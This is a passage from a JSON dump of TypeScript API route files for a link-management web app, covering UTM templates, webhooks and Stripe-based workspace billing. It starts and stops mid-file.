updatedTemplate.partnerGroup;\n            if (!partnerGroup) return;\n\n            const defaultLinks = partnerGroup.partnerGroupDefaultLinks;\n\n            if (defaultLinks && defaultLinks.length > 0) {\n              for (const defaultLink of defaultLinks) {\n                const res = await prisma.partnerGroupDefaultLink.update({\n                  where: {\n                    id: defaultLink.id,\n                  },\n                  data: {\n                    url: constructURLFromUTMParams(\n                      defaultLink.url,\n                      extractUtmParams(updatedTemplate),\n                    ),\n                  },\n                });\n                console.log(\n                  `Updated default link ${defaultLink.id} with URL: ${res.url}`,\n                );\n              }\n            }\n\n            const res = await qstash.publishJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/sync-utm`,\n              body: {\n                groupId: partnerGroup.id,\n              },\n            });\n            console.log(\n              `Scheduled sync-utm job for template ${template.id}: ${JSON.stringify(res, null, 2)}`,\n            );\n          })(),\n        );\n      }\n\n      return NextResponse.json(updatedTemplate);\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: \"A template with that name already exists.\",\n        });\n      }\n\n      throw error;\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// DELETE /api/utm/[id] – delete a UTM template for a workspace\nexport const DELETE = withWorkspace(\n  async ({ params, workspace }) => {\n    const { id } = params;\n\n    const template = await prisma.utmTemplate.findUnique({\n      where: {\n        id,\n        projectId: workspace.id,\n      },\n      include: {\n        partnerGroup: true,\n      },\n    });\n\n    if (!template) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"UTM template not found.\",\n      });\n    }\n\n    if (template.partnerGroup) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: `This template is linked to the partner group \"${template.partnerGroup.name}\" and cannot be deleted.`,\n      });\n    }\n\n    await prisma.utmTemplate.delete({\n      where: {\n        id: template.id,\n      },\n    });\n\n    return NextResponse.json({ id });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/utm/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { createUTMTemplateBodySchema } from \"@/lib/zod/schemas/utm\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/utm - get all UTM templates for a workspace\nexport const GET = withWorkspace(\n  async ({ workspace, headers }) => {\n    const templates = await prisma.utmTemplate.findMany({\n      where: {\n        projectId: workspace.id,\n      },\n      orderBy: {\n        name: \"asc\",\n      },\n      include: {\n        user: true,\n      },\n      take: 50,\n    });\n\n    return NextResponse.json(templates, { headers });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n\n// POST /api/utm - create a new UTM template for a workspace\nexport const POST = withWorkspace(\n  async ({ req, workspace, session, headers }) => {\n    const props = createUTMTemplateBodySchema.parse(await req.json());\n\n    const existingTemplate = await prisma.utmTemplate.findFirst({\n      where: {\n        projectId: workspace.id,\n        name: props.name,\n      },\n    });\n\n    if (existingTemplate) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: \"A template with that name already exists.\",\n      });\n    }\n\n    const response = await prisma.utmTemplate.create({\n      data: {\n        id: createId({ prefix: \"utm_\" }),\n        projectId: workspace.id,\n        userId: session.user.id,\n        ...props,\n      },\n    });\n\n    return NextResponse.json(response, {\n      headers,\n      status: 201,\n    });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/webhooks/[webhookId]/events/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { getWebhookEvents } from \"@/lib/tinybird/get-webhook-events\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/webhooks/[webhookId]/events - get logs for a webhook\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { webhookId } = params;\n\n    await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n    });\n\n    const events = await getWebhookEvents({\n      webhookId,\n    });\n\n    const parsedEvents = events.data.map((event) => ({\n      ...event,\n      request_body: JSON.parse(event.request_body),\n    }));\n\n    return NextResponse.json(parsedEvents);\n  },\n  {\n    requiredPermissions: [\"webhooks.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/webhooks/[webhookId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { transformWebhook } from \"@/lib/webhook/transform\";\nimport { toggleWebhooksForWorkspace } from \"@/lib/webhook/update-webhook\";\nimport { isLinkLevelWebhook } from \"@/lib/webhook/utils\";\nimport { validateWebhook } from \"@/lib/webhook/validate-webhook\";\nimport { updateWebhookSchema } from \"@/lib/zod/schemas/webhooks\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/webhooks/[webhookId] - get info about a specific webhook\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { webhookId } = params;\n\n    const webhook = await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n      select: {\n        id: true,\n        name: true,\n        url: true,\n        secret: true,\n        triggers: true,\n        disabledAt: true,\n        links: true,\n        installationId: true,\n      },\n    });\n\n    return NextResponse.json(transformWebhook(webhook));\n  },\n  {\n    requiredPermissions: [\"webhooks.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// PATCH /api/webhooks/[webhookId] - update a specific webhook\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req, session }) => {\n    const { webhookId } = params;\n\n    const input = updateWebhookSchema.parse(await parseRequestBody(req));\n\n    const existingWebhook = await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n    });\n\n    const { name, url, triggers, linkIds } = input;\n\n    // If the webhook is managed by an integration, only the linkIds & triggers can be updated manually.\n    if (existingWebhook.installationId && (name || url)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"This webhook is managed by an integration. Only the linkIds & triggers can be updated.\",\n      });\n    }\n\n    await validateWebhook({\n      input,\n      workspace,\n      webhook: existingWebhook,\n      user: session.user,\n    });\n\n    const oldLinks = await prisma.linkWebhook.findMany({\n      where: {\n        webhookId,\n      },\n      select: {\n        linkId: true,\n      },\n    });\n\n    const webhook = await prisma.webhook.update({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n      data: {\n        ...(name && { name }),\n        ...(url && { url }),\n        ...(triggers && { triggers }),\n        ...(linkIds && {\n          links: {\n            deleteMany: {},\n            create: linkIds.map((linkId) => ({\n              linkId,\n            })),\n          },\n        }),\n      },\n      select: {\n        id: true,\n        name: true,\n        url: true,\n        secret: true,\n        triggers: true,\n        disabledAt: true,\n        installationId: true,\n        links: {\n          select: {\n            linkId: true,\n          },\n        },\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        // If the webhook is being changed from link level to workspace level, delete the cache\n        if (\n          isLinkLevelWebhook(existingWebhook) &&\n          !isLinkLevelWebhook(webhook)\n        ) {\n          await webhookCache.delete(webhookId);\n\n          const links = await prisma.link.findMany({\n            where: {\n              id: { in: oldLinks.map(({ linkId }) => linkId) },\n            },\n            include: {\n              webhooks: {\n                select: {\n                  webhookId: true,\n                },\n              },\n            },\n          });\n\n          await linkCache.mset(links);\n        }\n\n        // If the webhook is being changed from workspace level to link level, set the cache\n        else if (isLinkLevelWebhook(webhook)) {\n          await webhookCache.set(webhook);\n        }\n\n        const newLinkIds = webhook.links.map(({ linkId }) => linkId);\n        const oldLinkIds = oldLinks.map(({ linkId }) => linkId);\n\n        if (!newLinkIds.length && !oldLinkIds.length) {\n          return;\n        }\n\n        const linksAdded = newLinkIds.filter(\n          (linkId) => !oldLinkIds.includes(linkId),\n        );\n\n        const linksRemoved = oldLinkIds.filter(\n          (linkId) => !newLinkIds.includes(linkId),\n        );\n\n        // No changes in the links\n        if (!linksAdded.length && !linksRemoved.length) {\n          return;\n        }\n\n        const links = await prisma.link.findMany({\n          where: {\n            id: { in: [...linksAdded, ...linksRemoved] },\n          },\n          include: {\n            webhooks: {\n              select: {\n                webhookId: true,\n              },\n            },\n          },\n        });\n\n        await linkCache.mset(links);\n      })(),\n    );\n\n    return NextResponse.json(transformWebhook(webhook));\n  },\n  {\n    requiredPermissions: [\"webhooks.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// DELETE /api/webhooks/[webhookId] - delete a specific webhook\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const { webhookId } = params;\n\n    await prisma.webhook.findUniqueOrThrow({\n      where: {\n        id: webhookId,\n        projectId: workspace.id,\n      },\n    });\n\n    const linkWebhooks = await prisma.linkWebhook.findMany({\n      where: {\n        webhookId,\n      },\n      select: {\n        linkId: true,\n      },\n    });\n\n    await prisma.webhook.delete({\n      where: {\n        id: webhookId,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        const links = await prisma.link.findMany({\n          where: {\n            id: { in: linkWebhooks.map(({ linkId }) => linkId) },\n          },\n          include: {\n            webhooks: {\n              select: {\n                webhookId: true,\n              },\n            },\n          },\n        });\n\n        await Promise.all([\n          toggleWebhooksForWorkspace({\n            workspaceId: workspace.id,\n          }),\n          linkCache.mset(links),\n          webhookCache.delete(webhookId),\n        ]);\n      })(),\n    );\n\n    return NextResponse.json({\n      id: webhookId,\n    });\n  },\n  {\n    requiredPermissions: [\"webhooks.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/webhooks/callback/route.ts",
    "content": "import { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordWebhookEvent } from \"@/lib/tinybird/record-webhook-event\";\nimport { WEBHOOK_TRIGGERS } from \"@/lib/webhook/constants\";\nimport {\n  handleWebhookFailure,\n  resetWebhookFailureCount,\n} from \"@/lib/webhook/failure\";\nimport { handleExternalPayoutEvent } from \"@/lib/webhook/handle-external-payout-event\";\nimport { webhookCallbackSchema } from \"@/lib/zod/schemas/webhooks\";\nimport { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst searchParamsSchema = z.object({\n  webhookId: z.string(),\n  eventId: z.string(),\n  event: z.enum(WEBHOOK_TRIGGERS),\n  failed: z.literal(\"true\").optional(),\n});\n\n// POST /api/webhooks/callback – listen to webhooks status from QStash\nexport const POST = async (req: Request) => {\n  const rawBody = await req.text();\n  await verifyQstashSignature({ req, rawBody });\n\n  const { url, status, body, sourceBody, sourceMessageId } =\n    webhookCallbackSchema.parse(JSON.parse(rawBody));\n\n  const {\n    webhookId,\n    eventId,\n    event,\n    failed: deliveryFailed, // failed after all the retries\n  } = searchParamsSchema.parse(getSearchParams(req.url));\n\n  const webhook = await prisma.webhook.findUnique({\n    where: {\n      id: webhookId,\n    },\n  });\n\n  if (!webhook) {\n    console.error(\"Webhook not found\", { webhookId });\n    return new Response(\"Webhook not found\");\n  }\n\n  const request = Buffer.from(sourceBody, \"base64\").toString(\"utf-8\");\n  const response = Buffer.from(body, \"base64\").toString(\"utf-8\");\n  const isFailed = status >= 400 || status === -1;\n\n  // Unsubscribe Zapier webhook\n  if (\n    webhook.receiver === \"zapier\" &&\n    webhook.installationId &&\n    status === 410\n  ) {\n    await prisma.webhook.delete({\n      where: {\n        id: webhookId,\n      },\n    });\n\n    return new Response(`Unsubscribed Zapier webhook ${webhookId}`);\n  }\n\n  await Promise.allSettled([\n    // Record the webhook event\n    recordWebhookEvent({\n      url,\n      event,\n      event_id: eventId,\n      http_status: status === -1 ? 503 : status,\n      webhook_id: webhookId,\n      request_body: request,\n      response_body: response,\n      message_id: sourceMessageId,\n    }),\n\n    // Handle the webhook delivery failure if it's the last retry\n    ...(isFailed ? [handleWebhookFailure(webhookId)] : []),\n\n    // Only reset if there were previous failures\n    ...(webhook.consecutiveFailures > 0 && !isFailed\n      ? [resetWebhookFailureCount(webhookId)]\n      : []),\n\n    // Handle payout events\n    ...(event === \"payout.confirmed\"\n      ? [\n          handleExternalPayoutEvent({\n            webhook,\n            payload: JSON.parse(request),\n            status: deliveryFailed\n              ? \"failure\"\n              : isFailed\n                ? \"temporary_failure\"\n                : \"success\",\n          }),\n        ]\n      : []),\n  ]);\n\n  return new Response(`Webhook ${webhookId} processed`);\n};\n"
  },
  {
    "path": "apps/web/app/api/webhooks/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { createWebhook } from \"@/lib/webhook/create-webhook\";\nimport { getWebhooks } from \"@/lib/webhook/get-webhooks\";\nimport { transformWebhook } from \"@/lib/webhook/transform\";\nimport { toggleWebhooksForWorkspace } from \"@/lib/webhook/update-webhook\";\nimport {\n  identifyWebhookReceiver,\n  isLinkLevelWebhook,\n} from \"@/lib/webhook/utils\";\nimport { validateWebhook } from \"@/lib/webhook/validate-webhook\";\nimport { createWebhookSchema } from \"@/lib/zod/schemas/webhooks\";\nimport { sendEmail } from \"@dub/email\";\nimport WebhookAdded from \"@dub/email/templates/webhook-added\";\nimport { prisma } from \"@dub/prisma\";\nimport { WebhookReceiver } from \"@dub/prisma/client\";\nimport { ZAPIER_INTEGRATION_ID } from \"@dub/utils/src/constants\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/webhooks - get all webhooks for the given workspace\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const webhooks = await getWebhooks({\n      workspaceId: workspace.id,\n    });\n\n    return NextResponse.json(webhooks.map(transformWebhook));\n  },\n  {\n    requiredPermissions: [\"webhooks.read\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/webhooks/ - create a new webhook\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const input = createWebhookSchema.parse(await parseRequestBody(req));\n\n    await validateWebhook({\n      input,\n      workspace,\n      user: session.user,\n    });\n\n    const { name, url, triggers, linkIds, secret } = input;\n\n    // Zapier use this endpoint to create webhooks from their app\n    const isZapierWebhook =\n      identifyWebhookReceiver(url) === WebhookReceiver.zapier;\n\n    const zapierInstallation = isZapierWebhook\n      ? await prisma.installedIntegration.findFirst({\n          where: {\n            projectId: workspace.id,\n            integrationId: ZAPIER_INTEGRATION_ID,\n          },\n          select: {\n            id: true,\n          },\n        })\n      : undefined;\n\n    const webhook = await createWebhook({\n      name,\n      url,\n      receiver: isZapierWebhook ? WebhookReceiver.zapier : WebhookReceiver.user,\n      triggers,\n      linkIds,\n      secret,\n      workspace,\n      installationId: zapierInstallation ? zapierInstallation.id : undefined,\n    });\n\n    if (!webhook) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Failed to create webhook.\",\n      });\n    }\n\n    waitUntil(\n      (async () => {\n        const links = await prisma.link.findMany({\n          where: {\n            id: { in: linkIds },\n            projectId: workspace.id,\n          },\n          include: {\n            webhooks: {\n              select: {\n                webhookId: true,\n              },\n            },\n          },\n        });\n\n        await Promise.allSettled([\n          toggleWebhooksForWorkspace({\n            workspaceId: workspace.id,\n          }),\n          sendEmail({\n            to: session.user.email,\n            subject: \"New webhook added\",\n            react: WebhookAdded({\n              email: session.user.email,\n              workspace: {\n                name: workspace.name,\n                slug: workspace.slug,\n              },\n              webhook: {\n                name,\n              },\n            }),\n          }),\n          ...(links && links.length > 0 ? [linkCache.mset(links), []] : []),\n\n          ...(isLinkLevelWebhook(webhook) ? [webhookCache.set(webhook)] : []),\n        ]);\n      })(),\n    );\n\n    return NextResponse.json(transformWebhook(webhook), { status: 201 });\n  },\n  {\n    requiredPermissions: [\"webhooks.write\"],\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/cancel/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { stripe } from \"@/lib/stripe\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/workspaces/[idOrSlug]/billing/cancel - create a Stripe billing portal session in the cancellation flow\nexport const POST = withWorkspace(\n  async ({ workspace }) => {\n    if (!workspace.stripeId)\n      return new Response(\"No Stripe customer ID\", { status: 400 });\n\n    try {\n      const activeSubscription = await stripe.subscriptions\n        .list({\n          customer: workspace.stripeId,\n          status: \"active\",\n        })\n        .then((res) => res.data[0]);\n\n      if (!activeSubscription)\n        return new Response(\"No active subscription\", { status: 400 });\n\n      const { url } = await stripe.billingPortal.sessions.create({\n        customer: workspace.stripeId,\n        return_url: `${APP_DOMAIN}/${workspace.slug}/settings/billing`,\n        flow_data: {\n          type: \"subscription_cancel\",\n          subscription_cancel: {\n            subscription: activeSubscription.id,\n          },\n        },\n      });\n      return NextResponse.json(url);\n    } catch (error) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: error.raw.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"billing.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/invoices/[invoiceId]/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// TODO: move to GET /invoices/[invoiceId]\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { invoiceId } = params;\n\n    const invoice = await prisma.invoice.findUniqueOrThrow({\n      where: {\n        id: invoiceId,\n        workspaceId: workspace.id,\n      },\n      include: {\n        _count: {\n          select: {\n            payouts: true,\n          },\n        },\n      },\n    });\n\n    return NextResponse.json(invoice);\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/invoices/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { stripe } from \"@/lib/stripe\";\nimport { InvoiceSchema } from \"@/lib/zod/schemas/invoices\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst querySchema = z.object({\n  type: z\n    .enum([\"subscription\", \"partnerPayout\", \"domainRenewal\"])\n    .optional()\n    .default(\"subscription\"),\n});\n\n// TODO: move to GET /invoices\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    if (!workspace.stripeId) {\n      return NextResponse.json([]);\n    }\n\n    const { type } = querySchema.parse(searchParams);\n\n    const invoices =\n      type === \"subscription\"\n        ? await subscriptionInvoices(workspace.stripeId)\n        : await otherInvoices({\n            workspaceId: workspace.id,\n            type,\n          });\n\n    return NextResponse.json(z.array(InvoiceSchema).parse(invoices));\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\nconst subscriptionInvoices = async (stripeId: string) => {\n  try {\n    const invoices = await stripe.invoices.list({\n      customer: stripeId,\n      limit: 100,\n    });\n\n    return invoices.data.map((invoice) => {\n      return {\n        id: invoice.id,\n        total: invoice.amount_paid,\n        createdAt: new Date(invoice.created * 1000),\n        description: \"Dub subscription\",\n        pdfUrl: invoice.invoice_pdf,\n      };\n    });\n  } catch (error) {\n    console.log(error);\n    return [];\n  }\n};\n\nconst otherInvoices = async ({\n  workspaceId,\n  type,\n}: {\n  workspaceId: string;\n  type: \"partnerPayout\" | \"domainRenewal\";\n}) => {\n  const invoices = await prisma.invoice.findMany({\n    where: {\n      workspaceId,\n      type,\n    },\n    select: {\n      id: true,\n      total: true,\n      createdAt: true,\n      status: true,\n      paymentMethod: true,\n      failedReason: true,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  return invoices.map((invoice) => {\n    return {\n      ...invoice,\n      description:\n        type === \"partnerPayout\" ? \"Dub Partner payout\" : \"Dub Domain renewal\",\n      pdfUrl: `${APP_DOMAIN}/invoices/${invoice.id}`,\n    };\n  });\n};\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/manage/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { stripe } from \"@/lib/stripe\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/workspaces/[idOrSlug]/billing/manage - create a Stripe billing portal session\nexport const POST = withWorkspace(\n  async ({ workspace }) => {\n    if (!workspace.stripeId) {\n      return new Response(\"No Stripe customer ID\", { status: 400 });\n    }\n    try {\n      const { url } = await stripe.billingPortal.sessions.create({\n        customer: workspace.stripeId,\n        return_url: `${APP_DOMAIN}/${workspace.slug}/settings/billing`,\n      });\n      return NextResponse.json(url);\n    } catch (error) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: error.raw.message,\n      });\n    }\n  },\n  {\n    requiredPermissions: [\"billing.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/payment-methods/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  DIRECT_DEBIT_PAYMENT_METHOD_TYPES,\n  DIRECT_DEBIT_PAYMENT_TYPES_INFO,\n  PAYMENT_METHOD_TYPES,\n} from \"@/lib/constants/payouts\";\nimport { stripe } from \"@/lib/stripe\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport Stripe from \"stripe\";\nimport * as z from \"zod/v4\";\n\nconst addPaymentMethodSchema = z.object({\n  method: z.enum(PAYMENT_METHOD_TYPES as [string, ...string[]]).optional(),\n});\n\n// GET /api/workspaces/[idOrSlug]/billing/payment-methods - get all payment methods\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    if (!workspace.stripeId) {\n      return NextResponse.json([]);\n    }\n\n    try {\n      const paymentMethods = await stripe.paymentMethods.list({\n        customer: workspace.stripeId,\n      });\n\n      // reorder to put direct debit first\n      const directDebit = paymentMethods.data.find((method) =>\n        DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(method.type),\n      );\n\n      return NextResponse.json([\n        ...(directDebit ? [directDebit] : []),\n        ...paymentMethods.data.filter(\n          (method) => method.id !== directDebit?.id,\n        ),\n      ]);\n    } catch (error) {\n      console.error(error);\n      return NextResponse.json([]);\n    }\n  },\n  {\n    requiredPermissions: [\"workspaces.read\"],\n  },\n);\n\n// POST /api/workspaces/[idOrSlug]/billing/payment-methods - add a payment method for the workspace\nexport const POST = withWorkspace(\n  async ({ workspace, req }) => {\n    if (!workspace.stripeId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Workspace does not have a Stripe ID.\",\n      });\n    }\n\n    const { method } = addPaymentMethodSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (!method) {\n      const { url } = await stripe.billingPortal.sessions.create({\n        customer: workspace.stripeId,\n        return_url: `${APP_DOMAIN}/${workspace.slug}/settings/billing`,\n        flow_data: {\n          type: \"payment_method_update\",\n        },\n      });\n\n      return NextResponse.json({ url });\n    }\n\n    if (method === \"sepa_debit\" && workspace.plan !== \"enterprise\") {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"SEPA Debit is only available on the Enterprise plan.\",\n      });\n    }\n\n    const paymentMethodOption = DIRECT_DEBIT_PAYMENT_TYPES_INFO.find(\n      (type) => type.type === method,\n    )?.option;\n\n    const { url } = await stripe.checkout.sessions.create({\n      mode: \"setup\",\n      customer: workspace.stripeId,\n      payment_method_types: [\n        method as Stripe.Checkout.SessionCreateParams.PaymentMethodType,\n      ],\n      payment_method_options: {\n        [method]: paymentMethodOption,\n      },\n      currency: \"usd\",\n      success_url: `${APP_DOMAIN}/${workspace.slug}/settings/billing`,\n      cancel_url: `${APP_DOMAIN}/${workspace.slug}/settings/billing`,\n    });\n\n    return NextResponse.json({ url });\n  },\n  {\n    requiredPermissions: [\"billing.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/upgrade/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { isDubAdmin, withWorkspace } from \"@/lib/auth\";\nimport { getDubCustomer } from \"@/lib/dub\";\nimport { stripe } from \"@/lib/stripe\";\nimport { booleanQuerySchema } from \"@/lib/zod/schemas/misc\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst upgradePlanSchema = z.object({\n  plan: z.enum([\"pro\", \"business\", \"advanced\"]),\n  period: z.enum([\"monthly\", \"yearly\"]),\n  tier: z.number().min(1).max(3).optional().default(1),\n  baseUrl: z.string().refine((url) => url.startsWith(APP_DOMAIN), {\n    message: \"Invalid baseUrl.\",\n  }),\n  onboarding: booleanQuerySchema.nullish(),\n});\n\n// POST /api/workspaces/[idOrSlug]/billing/upgrade\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    let { plan, period, tier, baseUrl, onboarding } = upgradePlanSchema.parse(\n      await req.json(),\n    );\n\n    const lookupKey =\n      tier > 1 ? `${plan}${tier}_${period}` : `${plan}_${period}`;\n    const prices = await stripe.prices.list({\n      lookup_keys: [lookupKey],\n    });\n\n    if (prices.data.length === 0) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Price not found for lookup key: ${lookupKey}`,\n      });\n    }\n\n    const activeSubscription = workspace.stripeId\n      ? await stripe.subscriptions\n          .list({\n            customer: workspace.stripeId,\n            status: \"active\",\n          })\n          .then((res) => res.data[0])\n      : null;\n\n    if (process.env.VERCEL === \"1\" && process.env.VERCEL_ENV === \"preview\") {\n      const isAdminUser = await isDubAdmin(session.user.id);\n      if (!isAdminUser) {\n        throw new DubApiError({\n          code: \"unauthorized\",\n          message: \"Unauthorized: Not an admin.\",\n        });\n      }\n    }\n\n    // if the user has an active subscription, create billing portal to upgrade\n    if (workspace.stripeId && activeSubscription) {\n      const { url } = await stripe.billingPortal.sessions.create({\n        customer: workspace.stripeId,\n        return_url: baseUrl,\n        flow_data: {\n          type: \"subscription_update_confirm\",\n          subscription_update_confirm: {\n            subscription: activeSubscription.id,\n            items: [\n              {\n                id: activeSubscription.items.data[0].id,\n                quantity: 1,\n                price: prices.data[0].id,\n              },\n            ],\n          },\n        },\n      });\n      return NextResponse.json({ url });\n    } else {\n      const customer = await getDubCustomer(session.user.id);\n\n      // For both new users and users with canceled subscriptions\n      const stripeSession = await stripe.checkout.sessions.create({\n        ...(workspace.stripeId\n          ? {\n              customer: workspace.stripeId,\n              // need to pass this or Stripe will throw an error: https://git.new/kX4fi6B\n              customer_update: {\n                name: \"auto\",\n                address: \"auto\",\n              },\n            }\n          : {\n              customer_email: session.user.email,\n            }),\n        billing_address_collection: \"required\",\n        success_url: onboarding\n          ? `${APP_DOMAIN}/onboarding/success?workspace=${workspace.slug}`\n          : `${APP_DOMAIN}/${workspace.slug}?upgraded=true&plan=${plan}&period=${period}`,\n        cancel_url: baseUrl,\n        line_items: [{ price: prices.data[0].id, quantity: 1 }],\n        ...(customer?.discount?.couponId\n          ? {\n              discounts: [\n                {\n                  coupon:\n                    process.env.NODE_ENV !== \"production\" &&\n                    customer.discount.couponTestId\n                      ? customer.discount.couponTestId\n                      : customer.discount.couponId,\n                },\n              ],\n            }\n          : { allow_promotion_codes: true }),\n        automatic_tax: {\n          enabled: true,\n        },\n        tax_id_collection: {\n          enabled: true,\n        },\n        mode: \"subscription\",\n        client_reference_id: workspace.id,\n        metadata: {\n          dubCustomerId: session.user.id,\n        },\n      });\n\n      return NextResponse.json({ id: stripeSession.id });\n    }\n  },\n  {\n    requiredPermissions: [\"billing.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/workspaces/[idOrSlug]/billing/usage/route.ts",
